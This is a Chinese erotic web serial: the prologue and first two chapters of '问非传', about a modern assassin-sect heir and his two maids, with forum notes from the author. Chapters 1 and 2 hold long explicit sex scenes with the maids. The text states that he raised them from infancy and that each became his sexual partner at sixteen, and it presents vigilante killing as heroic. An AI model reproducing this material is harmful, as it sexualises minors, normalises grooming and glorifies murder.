图片载入中

【合集】《问非传》 0-2 章

特大字】 【大字】 【中字】 【小字

这篇文章我构想了很久,总是觉得不完善,迟迟动不了笔,现在终于写了两章了,先试着贴上楔子来看看大家的反应,这开篇无色,主要是交代一些背景和文章的梗概,请各位文友指教。好的坏的都请但说无妨,回复能多写几个字那就最好,如果大家觉得这个故事还行,我就上后续的篇章。

PS:如果有转帖的朋友请在回复中附上转贴的网址,方便我去看看是挨砖还是被赞,不胜感激!

*********************************** 楔 子

话说北宋年间,水泊梁山众好汉在“忠义”的大头领宋江带领下被招安,归顺了朝廷,但这可昭日月的忠君爱国之心却没得到宋徽宗的赏识,反而更是大加猜忌、处处制肘,令梁山众好汉受尽窝囊气。

后宋廷派遣宋江带部征辽剿匪,平田虎,灭王庆,屡立大功,却也只让朝廷疑忌之心日浓,反倒出榜禁止梁山泊人等入城!宋江正与方腊艰苦作战时,徽宗皇帝以小疾为名将神医安道全从前线调回,这对连场恶战的宋江军来说不亚于釜底抽薪,以至宋江只能眼睁睁看着徐宁被毒死,林冲、杨志等将佐染病身亡。朝廷的司马昭之心不可谓不险恶!宋江惨胜归来,一百零八条好汉十去其八,朝廷却还不就此放心罢手,又借封官之机,将这支功勋卓着的无敌之师拆了个七零八落……

其实杨志并未死,虽然病重,确还不至于死于非命,宋廷的做法,彻底寒了这位忠良之后的心,这样的朝廷还如何可以让人为之尽忠!不由心灰意冷,借病重之机,在心腹的接应下,假死遁走,离开了梁山队伍。养好病后,只想找一处远离战乱的地方隐居下来,了此残生。

谁料杨志在辗转流浪之中却得遇一位江湖奇人,并在机缘巧合下习得奇人的一身精妙绝伦的武功,杨志本身武艺本已不凡,这下更是如虎添翼,足以傲啸江湖,独步武林。

这江湖奇人早年是一个令人闻风丧胆暗杀高手,武功心法名为“隐神诀”,是一门博大精深、奇妙绝伦的不世奇功。

“隐神诀”分为隐字诀和神字诀,顾名思义,隐字诀精髓在于隐,习得后虽然并不能真的让人变成隐身人,但也相去不远了,它的奇妙之处在于能让人与天地万物融为一体,不分彼此,仿佛化身成为一草一木,一桌一凳,学到精深后,施展开来,即使就站在敌人身前也能让其毫无所觉,这当然是对没有武功的常人而言,习武的人耳目比常人灵敏百倍,当然要另当别论了,但就算如此,隐字诀也堪称夺天地之造化的奇功了。

神字诀却是修炼精神的法门,它与隐字诀是相辅相成的,因为隐字诀的施展靠的不是内功内力,而是精神力量。如果没有强大的精神力量,隐字诀就如是无源之水、无基之木,不能持久,甚至无从施展;而如没有隐字诀作为基础,神字诀也无从练起,因为必须靠施展隐字诀来刺激精神力量的增长,两者是一个整体缺一不可。

不仅如此,神字诀还能使修炼者比以往更加聪慧睿智,气势沉凝,因为精神力量的强大,也就具有了能感知别人精神波动,影响甚至控制别人精神的能力,灵敏无比的精神力量,还能先一步察觉周围的异常和危险,使修炼者迅速做出防范,脱离险境。

杨志神功初成后,雄心复起,不再想就此蹉跎一生了,但此时宋江已经服毒自尽,梁山的众兄弟也已大部分死伤殆尽,水泊梁山早不复当年景象。杨志深知此时满朝文武,多是奸邪,不愿去谋得一官半职,受那腌脏气,也不愿再走水泊梁山的老路,落草为寇,思来想去,决定靠身上的神功,创立了斩奸门,管不平之事,斩奸邪之人,快意人生,从此,世上的贪官污吏、土匪恶霸有难了…… 光阴似水,日月如梭,岁月的巨轮轰轰隆隆地开到了现代,但斩奸门并没有在巨轮下消失,虽然已经不再是一个江湖帮派了,而是以家族的方式运行着,但斩奸门的传统依然没有变,反而把斩奸的范围扩大到了整个世界……

二十世纪末,十六岁的杨问非成了斩奸门第四十代门主,就是这一年,向来与他不曾分离的父亲,斩奸门第三十九代传人,把门主之位传予了他,而后不知所踪……

杨问非没见过母亲,从有记忆开始就跟随父亲四处飘泊,居无定所,斩奸除魔,修炼隐神诀,在父亲近乎冷酷无情的教导下,杨问非八岁神功已有小成,从八岁到十六岁的八年中,在父亲或多或少的帮助下,已经让十一个无恶不作之徒葬身手底,从初时的彷徨无措到如今的驾轻就熟,这个过程把杨问非从一个稚嫩的少年锻炼成为一个心智坚凝的杀手,斩奸除恶就像唿吸一样的自然了…… 虽然特殊的身份使得杨问非跟他同年的人有很大的不用,但神字诀的修炼却使他不至于变成一个嗜杀的恶魔,在一般的情况下,他仍然是一个平常的少年,过着正常人的生活,他也有普通人的兴趣爱好,特别是对中国传统文化的偏爱,废寝忘食的程度甚至不弱于他在武学上的探索,也让他超乎常人的精力与领悟力有了宣泄的途径,使得他在绘画、书法、篆刻、奇石盆景根雕、文物鉴赏、工艺美术、建筑、音乐、戏剧戏曲曲艺等方面都有着深厚的造诣……

斩奸门各代门主都没有正式的职业,从杨志开始,就过着四海为家的生活,也只有这样,才能履行“管不平之事,斩奸邪之人”的斩奸宗旨,到了现代,资讯的发达在很大的程度上代替了双腿的移动,但斩奸门仍然不用去打工做生意赚钱,因为上千年来斩奸门已经积累了巨额的财产,庞大到门主自己也说不清楚,这些大都是奸恶的人的不义之财,正所谓不义之财,人皆可取,这些不义之财,自然就成为了斩奸的经费了……

虹兰和晨歌是杨问非的侍女,照顾着杨问非的日常生活起居,两人都是无父无母的孤儿,都是自小跟随在杨问非的身边,虹兰小杨问非四岁,在一岁时被杨问非的父亲从一个贩毒集团中所救,是正宗的白色人种,而晨歌却比虹兰还小两岁,是杨问非亲手从人贩集团手中夺下来的,当时她也仅仅只有两岁……

从虹兰和晨歌各自四岁起,杨问非就开始教她们隐神诀,使她们多了一个身份:门主弟子。这代表了她们学有所成以后将成为斩奸门的斩奸除魔使,自杨志以来,斩奸除魔使都是隐身于暗处,从不在生人面前现身,只默默的听从门主的指挥,除了门主,也只有这个身份才能学到隐神诀,所以,斩奸除魔使也只有杨家的成员才能担任,也缘于此,在她们各自到了十六岁之后,她们又多了一个身份:杨问非的女人……

杨问非自父亲失踪后一直到二十四岁,生活没有根本的变化,还是一如以前一样,四海为家,斩奸除魔,故事就从二十四岁的杨问非开始叙起……

第一章 停止飘泊

*********************************** 《问非传》的开篇楔子只在海岸线和羔羊上贴出,短短一天不到的工夫已各有几百个朋友浏览过,还得到了几十位热心朋友的回复,我都有仔细看过了,对我加以鼓励和支持很多,特别是有些朋友还劳心劳力的提出了中肯的意见,着实让我挺欢欣鼓舞的,虽然并不是特别受欢迎,但无色的开篇能得到这么多位朋友的关心,我已经很感满足了,我无法对所有的朋友一一致谢,只能在这里对以上的朋友一并说声谢谢了!

也有很多朋友看我铺垫下得很足,场面很大,以后能不能写下去很担心,说实话,我也没有底,只能说会尽力而为,努力不让大家失望。这种题材我也是第一次涉猎,《问非传》只能说是我的一个尝试,尝试当然是有失败的危险的,希望写的不好的地方,大家也能多海涵了。

还要特别提醒一下:如果您现在正在看第一章,却没看过开篇楔子的朋友,最好出去先找来楔子看一下,因为楔子中交代了整个故事的背景和基本的脉络,如果不看的话可能会有很多疑问产生的。

*********************************** 我悄无声息的矗立在公寓大楼的楼顶平台上,凝视着星光点点的夜空,心中却思绪纷飞,一点都不平静。

这里是我在上海的三处住宅之一,位于浦东新区的一幢高尚公寓,我购买了它最上面的两层,包括顶楼的平台,实际上是三层,面积很大,足够很宽裕地住上十几个人,但实际上在平时我没来时,只住着两个打扫的丫头,显得很空旷。 这次来上海,为的是杀一个我追踪了几个月的巨盗,这人很有本事,竟然在虹兰手底下逃走了两次,引起了我的兴趣,我忍不住手痒,亲自动手,猫捉耗子似地跟他玩起捉迷藏,从纽约一直玩到上海,今天他说什么也不逃了,临死之前留给了我一句话:能死在你手里我心服口服,没什么说的,但你这样的身手,不太寂寞了吗?

确实,我已经越来越没有出手的欲望了,对手的不堪一击让我提不起精神,曾经让我心神迷醉的过程随着隐神诀修为的日深,渐渐变成了按部就班的公式化行事,让我感到有些孤独和无奈,就比如好像原来你约了姚明单挑篮球,没想到来的却是刘国梁,难怪对着他我竟有舍不得下手的感觉。

隐神诀从低至高共分九层功法,一至四层为基础段,五至八层为入室段,至九层方达大成境界。修炼至五层之前,隐神诀的好处体现于内在,使修炼者随着精神力量不断的攀升,气质、思想日臻完善,思域开阔,智力增长,精力充沛,学习起别的东西也得心应手、事半功倍。

五层以后,隐神诀转而形于外,慢慢锋芒渐露,气势慑人,往往能通过精神力量不战而屈人之兵,影响甚至控制敌人,使之无法相抗;至于修炼至第九层会是怎么一番景象,我也不得而知,因为斩奸门自创派祖师杨志以来,还没有人修炼至此,据说就是连传授隐神诀给我杨家的江湖奇人也未能达到第九层的境界,我父亲失踪之前也不过练至第七层而已。

我在八岁时就臻至五层的境界,不可不谓是天纵之才,本很有可能成为古往今来第一个达致第九层的人,但至今也修炼不到第八层之境,究其原因,五层之前只要勤奋努力,修炼得法,再加上本身天赋,名师指点,不难达到,五层之后却须要有难得的机缘,也就是要在生死攸关之际或是受到极大的刺激这些可遇不可求的外因配合,方能更上一层楼。

但多年以来,随着我修为的加深,特别是十九岁达到第七层以后,能在与我对敌之时经受得住我强大气势而屹立不倒之人都已经找不到了,更别说能帮助我提升修为的高手了。

但我还不至于狂妄自大到认为世界上没有高手了,我只是遇不上,父亲的离奇失踪,我相信这里面定然有我还没揭开的迷底,也定然有许多不显山露水的高手隐藏于世,古代的中国、高丽,东洋有很多高深的武学,虽然很多都淹没在历史的洪流中,但肯定也有不少像隐神诀一样流传到现代的,只是我至今还无缘得见,真的感觉到寂寞啊!

虽然常年累月地四处跑,可以说每天都会遇到不同的人和事,但这样的生活过久了,也还真的感到有些累了,从本质上来说,其实这样也是每天都过着同样的生活啊!

上海是我喜欢的城市,它是古老的东方古国年青的脉搏沉稳有力的跳跃、激荡的地方,远处东方明珠塔仿佛嵌入了夜空,散发着奇异的魅力,望着夜上海璀璨夺目的盛景,我在心中生出了一个念头。

一道温暖缠绵的目光落到了我宽阔的肩背上,同时耳边传来一道温柔悦耳的声线:“少爷,为什么你的心中好像很乱呢?是杀了那个人的原因吗?”

不用回头,我知道是我两个可爱的俏侍女之一,年纪稍大虹兰来到了身边,我和她们之间深刻的情感和共同修炼的隐神诀,让我几乎可以把握到她和晨歌的所有想法,相同的,她们也自然能感应到我的心中所想,我收回了心中的胡思乱想,笑道:“不完全是,只是在想一些事情。”

“哦,想些什么呢?”虹兰似乎很感兴趣。

我回过头来,望着眼前巧笑嫣然的美女,不答反问:“你说我们在上海住上一段时间如何?”

虹兰皱了皱可爱的小鼻子,微微上翘的嘴角,带出了一抹笑意:“我的大少爷,你说要住,我难道可以说不给吗?”

虹兰是地地道道的白种人,一头披肩的金色长发闪闪发亮,五官极具欧洲美女的雕塑美,但挺翘的鼻梁、尖尖的下巴又不失东方女性的圆润感,这可能是她从小在中国长大的原因吧,看着这个集合了中西方美女优点于一身的妖娆展露出小女儿的诱人姿态,我不禁食指大动,伸手将她拥入怀中,一面抚摸着她金色闪亮柔顺光滑长发,一面说道:“怎么说的我好像很专制似的,你和小歌儿想要什么,想做什么,我好像也从来没有不准的吧?”

虹兰伸手搂住了我的腰,将脸庞贴上我的脖子,昵喃道:“兰兰怎么不知少爷疼我们呢?那少爷,我们这次要住多久呢?”

虹兰身材高挑,足足有一米六六,搂在胸前刚好发梢在夜风中轻柔地抚在我鼻子上,有点丝丝麻痒的感觉,身上又漂着淡淡的少女体香,熏得我舒服得很,我不禁闭上眼睛:“我也不知道,但这次肯定会住得久一点,而且是不需要执行什么任务的。”

“真的吗?”虹兰抬起头来,美目中异彩琏琏,“如果是真的的话,我好高兴!”

“我什么时候说话不算数了?”我假意有些恼意,眼中却满是笑意。

“少爷,别生气嘛,我只是觉得太高兴了,少爷是大英雄,当然是一言九鼎了!来,我们拉钩。”

我不由莞尔,虹兰已经二十岁了,但开心起来却还像是个小孩子一样。这是从小到大的习惯了,我一答应她什么,她是一定要和我钩手指头的。

看着她为这一点小事开心成这样,我心底不由有些感动,我知道,在哪里住对她来说都是一样的,但在一个地方长住,而且又是不用执行什么任务的话,和我相处的时间自然就会大大增加了。

这么多年来,我很少在一个地方长住过,鲜有超出一个月的,总是行色匆匆的,住的最多的当然是在中国,但也是天南地北的四处走,她和晨歌虽然总跟在身旁,但也有不少时候要去打探情报,暗杀救人,这是斩奸门的使命,也是身为斩奸除魔使的职责,这样一来,虽然总是在一起,但真正相处的时间也并不是很多。

她虽然是欧洲人,但不管是在思想上还是在行动上,却都像是一个完完全全的中国传统女人,她也很喜欢中国的传统文化,并且弹的一手好琵琶,更是许多种中国民间舞蹈的高手,从她一岁被父亲抱来到十三岁,也从没去过欧洲,在她看来,欧洲只是生她的地方,那里她没有一个亲人,但中国不同,这里有她情感的归宿。

“好,”我钩住她温润滑腻的小指头,“拉钩上吊,一百年不许变!”

“好啊,原来你和少爷都在这里,怪不得都找不到你们。”随着这一声清脆动人的声音,一个比虹兰还要高出一线,身材极是完美的长腿女孩出现在楼顶平台的楼梯口。不用说,她不是晨歌还会是谁?

晨歌一阵风似的飘过来,眨眼间到了我和虹兰的跟前,抓住我们还钩在一块的手指,笑道:“少爷,你又是答应兰姐姐什么事情了?”

虹兰笑着跟晨歌说了,没想到她听了更是夸张,一下子就跳到我的身上,一对直要裂衣而出挺拔双峰紧紧的贴上我的胸膛,双腿则盘上了我的腰,惊喜莫名的俏脸艳光闪动:“真的吗真的吗?少爷,这是真的吗?太好了,我要少爷好好的陪我和兰姐姐去游遍上海滩!”

我连忙抱住她,看着两女几乎同出一辙的反应,看来我是真的对她们关心的少了,嗯,好吧,就暂时什么事也不去理会了,好好的陪她们在上海过一段安静的日子吧!

这也难怪,她们从小就没怎么和外人接触过,就算是执行什么任务,凭着神奇的隐神诀,她们根本连人都可以不去接触,就可以胜利完成了,太危险的我也舍不得让她们去,我想,除了我和各地住所里的打扫丫头,可能都没有人见过她们,说话的对象除了对方,也就是我了,这应该就是我觉得和她们呆在一起的时间不少,但她们却还嫌不够的原因吧!

“好啊,嫌我陪着你们的时间少了是吗?那今晚就先好好补偿你们一下,”我放开托在晨歌臀下的右手,一勾,将虹兰也揽到身侧,两姐妹一起被我搂在怀里,胸前尽是温润滑腻的感觉,熏人欲醉的幽香,心怀大畅,“先侍侯本少爷沐浴更衣去!”

两女当然知道我话里的意思,顿时红霞上脸,明媚的眼眸中似乎就要滴出水来。

我躺在浴池的斜面上,头枕在虹兰晶莹如玉的大腿上,享受着她的纤纤玉手对我头部无微不至的照顾,而晨歌则跪坐在身旁,仔细地为我搓洗着身体。 浴池是我专门设计订做的,不仅要够宽大,而且池里要有台阶、斜面和各处不同的深度,迎合我的需要。

池中的水放的深度刚刚好,正好漫到我的小腿上,晨歌柔软的小手不停地在我全身各处滑过,舒服得我几乎要呻吟出来,突然,她正抚上我胸膛的柔荑促狭地提了提我的乳头,头部一低,便将它纳入口中。

“嗯。”骤然遭遇“袭击”的我不由哼出声来。

两女虽都在池中伺候我洗澡,但身上并未脱得精光,都套着一件真丝的及膝低胸裙子,里面却未着片缕,身上沾湿了水,裙子紧紧的贴在身上,曲线尽显,不但起不到一丁点的遮掩作用,反而更是动人心魄。

特别是晨歌,虽然只有十八岁,但身体却已经像熟透的果实,分外诱人,配上纯真调皮的表情,对我的诱惑是致命的。

望着她由于俯身而微微颤动在眼前的美丽玉乳,我伸出手来,隔着裙子,攀上乳首,压在掌心里缓缓地厮磨起来。

“嗯……嗯啊……”随着我的动作,晨歌舔舐着我的胸膛的小嘴发出含煳不清的哼叫声,胸脯上的红樱桃慢慢地竖立起来。

我不由地欲火高涨,下身坚硬似铁,晨歌马上感觉到了,一只小手往下摸挲下去,停在了我的大腿根部,握住了棒身,轻柔的撸动起来,螓首也从胸膛慢慢的舔舐下去,发出若有若无的“啾啾”声。

终于,沿着胸膛、小腹一路舔舐下去的小嘴停顿在我的大腿根部,将我的巨棒含入口中,上下套弄起来。

虹兰看的浑身滚烫起来,我将她两条裙带从肩膀上褪到腰上,露出她雪腻柔滑的双峰,轻轻板得她身子下探,将她的蓓蕾叼入口中品尝,不时左右磨动,没一会她已经是情炙如火了,双手插入我的头发中,捧起我的头,不住的向自己胸前压动。

虹兰的双乳虽没有晨歌的丰满,但弹性惊人,乳头小巧可爱,且微微上翘,整个形状极美,宛如倒扣的玉碗,吸吮起来满齿流香,也是乳中极品。

两女都是在十六岁的时候献身于我,就算年纪较小的晨歌在我胯下承欢也已有二年了,我自然知道如何挑逗她们,将她们变成我的专属荡妇,就像她们比我更加熟悉我的身体一样。

我的舌头整个的覆盖在虹兰的乳房上,不停把她的乳头和乳晕压在舌下缓缓厮磨,口水把它们涂抹的亮晶晶的,虹兰的乳头已经涨大发热的厉害,就像是熟透的紫葡萄,在我口中不停的颤动。

晨歌套弄的动作时缓时快,一会含住顶部,大力吸吮,一会又是整根吞咽进去,转动脑袋咂弄,还不时伸出舌头从马眼舔到根部,又把两个蛋蛋吸入口中,手中也没停,按、拉、搓,揉十八般武艺轮番施展,我渐渐觉得好像有一团烈火从下体向全身扩散,几乎就这样给她吹出来。

我再也不忍不住躺着不动了,猛的坐起身来,赞道:“小歌儿,你的小嘴儿可是越来越厉害了,真是不枉我多年的教导啊!”

“嗯……少爷你真坏,这样取笑人家。”晨歌抬起头来,满脸娇羞的嗔道,手却还没停下,还在不住的套上套下。

看着眼前这个拥有天使的脸孔,魔鬼的身材的绝代妖娆,心中爱煞,就算柳下惠也不能熟视无睹了,别说是我,“哪里是取笑你,是真心赞你啊,来,让少爷好好疼疼,”说着,我就想站起身来。

“少爷,您别动,让小歌儿来,”晨歌按住了我的肩膀,撩起裙摆,跨坐在我的腰上,右手从背后扶住两股之间的庞然巨物,缓缓的坐了下来。

“呜……”我和晨歌同时哼道,她的小穴异常的紧凑,虽然已经开门纳客多次,但还是一如既往的狭小,里面已经是氾滥成灾,心里也已做好准备,但还是忍不住哼出声来,而我却是感到非常的温暖和裹夹。

适应了那被极度充实的感觉后,马上就有丝丝麻痒从小穴里产生了,晨歌按在我的胸膛上,屁股一上一下的缓慢起落起来。

由于是她在起主导作用,我反而变的无事可做了,伸手拍了拍身旁的虹兰,示意她跨到我头上来。

虹兰娇羞的暼了我一眼,顺从的拉起裙子,一条腿从我脸上掠过,将甜美的密穴凑到我的嘴巴上。

我先将整个嘴盖上了虹兰的小穴,舌头撩开了中间的小缝,顿时一股香甜的汁液流入我的口中,满嘴清香,虹兰的爱液没有一点咸腥味,反而有淡淡的薄荷香味,使我爱不释口,大力的舔舐着,吞咽着不停流入口中的汁液。

“嗯……嗯……呜啊……”我已经搞不清楚这是前面的虹兰还是后面的晨歌发出的呢喃声了,在这种情况下还保持得那么清醒的男人绝对是脑子有问题,我当然没有,所以我已经迷失在着温柔的漩涡中了……

我的左手沿着虹兰的美妙曲线,攀上挺翘的乳峰,不住地搓揉,右手伸到她的股间,拉开她的肉蚌,大拇指按在上方的珍珠上,快速的转动,舌头不停的刮着虹兰的穴内肉壁,不一会,受到三面夹击的她已经情动之极,一手胡乱的插在我头发里,一手抚摸着自己的修长白嫩的颈部,小穴不住地向我嘴巴挺动,浑身乱颤,“少爷……好舒服,好……美啊,兰兰快受不了了,啊……嗯……呜啊,啊……”没过多久,只听见“嘤咛”一声,爱液飞泻,喷的我满口满脸,软倒在我脸上。

我将虹兰抱下让她躺在身边,只见她脸上挂着满足无限的笑容,这小妮子竟然在高潮时乐晕了过去,我爱怜的亲了亲她的脸,这下可以好好“对付”晨歌这个小魔女了。

晨歌虽然年纪不大,但性能力却着实不弱,蜜穴虽然狭紧,但却层层叠叠,外紧内深,要不是我的宝贝够长,还真顶不到她的花心,能让她满足呢!

现在她已经渐入佳境了,套弄的动作也更流畅,棒身在她身下进进出出,带着爱液和唇肉翻进翻出,美臀不时撞击在我的大腿上,发出“扑扑”的声响,我欣赏着这幅美景,情欲更是高涨起来。

我坐起身来,按在了她的屁股软肉上,助她一臂之力,“扑扑”的声音更响了,她美眸流转,像是一团燃烧的火焰,炙手之极,双手抱住我的头,一对柔软香甜的雄伟雪峰不停的在我脸上厮磨,舌头舔上我的耳垂,呢喃道:“少爷,好美啊,小歌儿要飞了,嗯……呜啊,少爷,给我……再用力点,小歌儿什么……什么都是……少爷的,小歌儿好爱……好爱少爷……如果……没有少爷,小歌儿是一天也……活不下……活不下去的……啊……啊呵……飞了……飞起来了。” 听着她深情的哼吟声,一股柔情充满了我的心间,心神俱醉,挺直了身体,寻上晨歌的香唇,吻到她差点透不过气来:“你们知道吗,我也很爱你们,虽然你们是我的侍女,但在我的心里,却跟我的小妻子没什么两样的……”

晨歌停下了臀部的动作,紧紧的搂住了我的脖子:“我们怎么不知道,我们感觉的到啊,那种感觉好幸福啊,好温暖啊,”忽然,眼圈一红,蒙上了一团水雾,“少爷,答应我,以后不管去杀什么人,去哪里,都要带上我和兰姐姐,虽然我们知道凭您的本事,应该没什么危险,但不知道为什么,就是担心难受,怕再也见不到您了,一知道您是单独行动,我们就什么事情也做不好了……” 这时候虹兰也醒了过来了,从背后贴上了我的身体,搂住了我的腰,用力环紧,俏脸在我肩上磨挲:“小歌说的没错,那种感觉真是太折磨人了,答应我们好不好?”

“好,好,”面对这样清深意重的绝世妖娆的恳求,我怎么还能说的出不好呢?“但是我也不能总把你们带在身边吧,你们想要出来抛头露面了吗?” “才不要呢,就是我们的样子,也只给少爷你一个人看到,”晨歌嘟起小嘴,撒起娇来。

“那怎么办,你们总不能老是施展了隐字诀跟在我身边吧?还是连我也不出去抛头露面了,在家做个小男人?”

“哎呀,少爷你坏,你明知道我不是这个意思的,”晨歌握起小拳头,锤了我一下,“我是说少爷要去杀坏蛋的时候,就算是教训一个小混混,也要带上我们,平时少爷想去哪里,不想我们跟着,我们才不要去做讨厌的跟屁虫呢!” “小人遵命,两位姑奶奶怎么说就怎么着吧!”

“唔……少爷又来取笑人家了……”

嘻笑中,战火又重新点燃了,这一夜,情欲高涨的我一次次地把身旁的妖娆送上了极乐的巅峰,自己也获得了极大的满足……

第二章 初识东天

*********************************** 这段时间很忙,这篇发过可能要等久一点了,情节我大概构思好了,但总觉得不是很满意,文章如果我自己也通不过我是不会发的,如果让大家久等了,我也只能说抱歉了。

还有,其实我设定的主人公是正面人物,如果把他写的太过淫邪就说不过去了,在H论坛如果发些太“正经”的文又是吃力不讨好的事,但想写的吸引大家又要保持行文的合理性,这真让我感到吃力,毕竟水平有限,美好的愿望要转化成现实,难度还是很大啊,我也试过,但太变态的还是写不出来,想像泥人大大那么举重若轻,我想再修炼个百八十年也未必可得,可能还会弄个画虎不成反类犬,让大家见笑了。

另外,有很多朋友问及晨歌是哪里人,我这里郑重声明一下:她是纯正的中华儿女。文中没有特别说明的,只会是炎黄子孙,我想,这么让人自豪的身份,是不用特意去说明的,就比如马是在路上跑,鱼是在水中游一样,应该没有人谈到它们,还会特意去论证一下为什么马不去游,而偏在路上跑的吧?

*********************************** 上海在中国的历史上可能算不上历史名城,但近代以来,她却不可否认的成为了中国乃至世界最重要和发达的城市之一,这不能不归功于其优越的地理位置和浓郁的商业氛围,“江海之通津,东南之都会”,此语确是不虚。

上海有一种与中国其他任何城市都截然不同的特质,就是她的“洋气”。在这里,现代化和古典美融合的完美无间,让人们无法抗拒。

你可以探寻名人的足迹,走访名人故居,或是在外滩观赏已耸立了一个多世纪的老建筑,感受历史的沧桑变化;可以随心所欲地倘佯在阳光下安静的街道,手指划过街边欧式花园的墙壁,体会她细腻的质感;也可以奔跑在崭新光滑的马路上,仰望周围高耸的摩登建筑;还可以穿梭于商业购物中心、超级大卖场倾囊以出挥金如土;更可以把自己淹没在灯红酒绿里尽情放纵……

我曾经请一个朋友帮我介绍一下上海有什么地方值得一去,我记得他说:如果要在上海找一个最具本土风情的地方,那一定是豫园,它保持着江南小镇杂乱而清秀、简陋而奢靡的风貌,很有味道。还有去逛一逛熙来攘往的城隍庙和石库门,一定能让你体会到老上海里弄人家的生活气息。

衡山路上酒吧和油画的韵致应该是不能错过的,再带上几样雁荡路上买来的小吃,到黄浦江畔去走一走,江畔的晚风会赶走你一天的疲乏。夜色里,外滩会是一派旖旎的欧陆风情。站在江边凭江远眺,你会发觉东方明珠、金茂大厦在幢幢现代化建筑错落有致的簇拥中分外醒目迷人。

接下来的这段日子,我都将他所说的细细的体验了一番,果然不错,这可能是我出生以来最轻松的时光了,抛开所有的包袱,感觉可真是不错啊!与虹兰和晨歌尽情的享受生活带来的乐趣,白天游山玩水,夜晚恩爱缠绵,翻云覆雨,几乎踏遍了上海的每个角落,浦江两岸、山水园林、名人故居、甚至较远的畲山、淀山湖、深水港、崇明岛等无不留下了我们的足迹,载满了我们的欢声笑语。 上海的建筑也很有特色。我虽然已来过上海多次,但也从来没有认真的赏玩过,外滩、石库门房子以及各种海派建筑、现代设施,汇聚了古今中外的各种建筑风格,喜欢建筑的我当然也不会错过。

虹兰和晨歌都是极出色的美女,一个是大家闺秀的典范,另一个则是小家碧玉的极致,带着这样的美女同游,麻烦是少不了的,光周围的嫉妒目光就能把我杀个体无完肤了,还好隐神诀本身就是极高明的易容术,两女也都有一定的火侯了,略加施展,体态面目都能变幻万千,不会太过引人注目,否则,就算我愿意让她们给人大饱眼福,但也定然为违背了斩奸除魔使不能在生人之前现身的门规了。

我是个风流成性的人,自十六岁父亲离开后,我在世界各地结识的美女多的连我自己也数不过来,但却也从来没有碰到过能胜过虹兰两女的,我想,她们之所以能如此优秀,修炼了隐神诀应该是不可或缺的原因吧!而我却能拥有她们,真应该感谢老天爷待我之厚了!

欢乐无忧的日子过的总是很快的,不知不觉快一个月过去了。

这天下午,我们没有出去玩,我独自在公寓内书房里上网闲逛,打发时间。我较少看电视、报纸什么的,很多资讯都是来源于网上,突然间,我的Hotmail

响了一声,我打开一看,是香港一位律师朋友吕音发来的E-Mail,信中说她最近

发现了香港最大的黑帮红新在贩卖一种新型的毒品,虽然数量不多,但她却发现这种毒品成瘾性极为强烈,吸食后简直无法戒除,且价格还比海络因低廉的多,可能是走私起来容易的多,这些“优点”无疑会使它成为新一代的毒品之王,如不加控制,产生的危害可想而知,幸好发现的早,世界其他地方也还没有发现其它类似的毒品,她还从少的可怜的蛛丝马迹中发现,上海一个叫东天集团的企业似乎跟这种毒品有些关系,问我有没兴趣去查查看。信的后面附有东天集团的资料。

吕音坚毅果敢的女律师,也是我的情人之一,也是极少数知道我有斩奸除恶能力的人,当然她也并不了解我是怎么办到的。

我当然有兴趣,也有这个责任,如果置之不理,那不就对不起祖宗了吗?身为斩奸门第四十代门主,我是责无旁贷的。我马上回了一封E-Mail给她,请她密

切注意,有新的情况马上告诉我。之后,我开始翻阅东天的资料。

这东天集团是在中国改革开放之后崛起的,这几年发展很快,集团下属企业遍布房地产、建材、医药、制造、仓储等许多行业,实力很是雄厚,在国内企业界很有名气,总裁黄东天,也是个商业传奇人物。

我正在思考如何进行调查时,书房的门被轻轻的推开了,虹兰端着一杯“摩卡”来到我的身边,放在我前面的大班台上,然后移到我的身后,隔着椅子帮我按摩着肩头,问道:“少爷,又有新的生意上门了吗?”

“是啊,兰兰,是不是闷太久了,想活动活动了?小歌儿呢?”我端起咖啡泯了一口,淡淡的苦涩里透着一股微酸,正是我最感满意的配比。

“小歌正在打坐冥想呢,她的神诀就要突破第四层了,看她的进度,应该在这几天就可以上到第五层,可比我强多了,那就可以不用每天都做功课了。”在没有到达五层之前,小歌儿每天都须有两个时辰也就是四个小时的打坐冥想,淬练精神,不可间断。修炼到五层以上后,就没有这样的限制了,练功就可以随心所欲,即使是在洗澡,吃饭,睡觉,只要想练,随时随地都可以进行。虹兰也是刚刚突破至五层的境界不久,自然对打坐练功心中戚戚焉。

她接着嗔道:“人家才不会闷呢,像现在这样不知道多好,每天都轻轻松松的,你以为人家那么喜欢打打杀杀吗?我希望世界上都只剩下好人,那我们就不用去斩奸除魔了,每天就只和小歌在少爷身边伺候着,给少爷做做菜,弹弹琴,优哉游哉地过日子,那该多好!”说着说着,美目迷漓,溢满了憧憬。

我把她从身后拉到跟前,让她做到我的腿上,笑道:“呵呵,你想世界上只剩下好人是不可能的,也永远不会有这样的世界出现,但每天想给我做菜弹琴倒是不难,这种机会可多的是。”

顿了一下,我脸上出现一抹邪邪的笑容:“就想给少爷做菜弹琴吗?不想别的吗?”

虹兰顿时羞红了脸,与我心意相通的她当然了解我背后的意思,微嗔的暼了我一眼,把螓首垂入我的肩上。

我格外受不了她这种娇羞的姿态,虽然已经“老夫老妻”了,但虹兰还是和第一次那样的害羞,受不了我的调笑。

我马上有了反应,下身迅速放大,由于坐姿的关系,正好硬梆梆的顶在了她的臀缝上,热力好像透过了双方的衣裤,直达虹兰的私处,她不由地微微颤抖起来。

我板过她的脸,从她的光洁的额头、微闭的眼睛一路吻下来,最后停在她的柔滑的香唇上,细细的品尝起来。舌头穿过她微微张开的贝齿,与她的香舌纠缠在一起,互相吸吮着对方的口液。

“嗯……呜啊……”过了半晌,直到快透不过气来,我们才离开对方的唇,一条银丝连接在我们口唇的两头,越拉越细,竟然还没断开。

“少爷……”

望着眼前的金发美女,我只觉得她可爱到了极点,美艳不可方物。我将她抱了下来,让她站到地上,说道:“兰兰,你知道吗?你真是好美啊,可爱极了,来,把衣服都脱了,我要好好的、仔仔细细看看你。”

看到我目不转睛的盯着她,虹兰身上更是象火一般的烧起来,连裸露在外面的肌肤也像是抹上了一层胭脂,透着淡淡的粉红来。今天她穿着一身淡蓝色的套装,合体的剪裁更是将她美好的身段衬托的凹凸有致,裹在丝袜里的小腿纤细柔和,真是诱人犯罪啊!

她的头埋的更低了,仿佛要藏入胸前的乳沟里,哀求道:“少爷,就快要吃饭了啊,我去给你做饭去好不好,晚上再给少爷看嘛……”

